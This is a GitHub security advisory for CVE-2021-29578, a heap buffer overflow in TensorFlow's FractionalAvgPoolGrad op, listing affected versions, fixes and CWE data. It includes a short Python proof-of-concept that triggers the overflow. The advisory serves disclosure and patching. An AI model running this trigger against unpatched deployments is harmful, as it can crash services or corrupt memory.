GitHub Advisoryadvisory · PyPI

GHSA-6f89-8j54-29xf Heap buffer overflow in `FractionalAvgPoolGrad`

LOW Published 2021-05-21 Modified 2024-11-01 Official page ↗
Aliases
CVE-2021-29578
Ecosystem
PyPI
Packages
tensorflow, tensorflow-cpu, tensorflow-gpu
Severity
Low
CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Weaknesses
CWE-119, CWE-787
Reviewed
2021-05-18

Affected packages

• PyPI tensorflow: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-cpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-cpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-gpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-gpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2

Description

Impact The implementation of `tf.raw_ops.FractionalAvgPoolGrad` is vulnerable to a heap buffer overflow: ```python import tensorflow as tf orig_input_tensor_shape = tf.constant([1, 3, 2, 3], shape=[4], dtype=tf.int64) out_backprop = tf.constant([2], shape=[1, 1, 1, 1], dtype=tf.int64) row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64) col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64) tf.raw_ops.FractionalAvgPoolGrad( orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=False) ``` The implementation fails to validate that the pooling sequence arguments have enough elements as required by the `out_backprop` tensor shape. Patches We have patched the issue in GitHub commit 12c727cee857fa19be717f336943d95fca4ffe4f. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Related

Alias · CVE (1)

  • CVE-2021-29578 TensorFlow is an end-to-end open source platform for machine learning. vulnerability

Weakness · CWE (2)

  • CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer weakness
  • CWE-787 Out-of-bounds Write weakness

References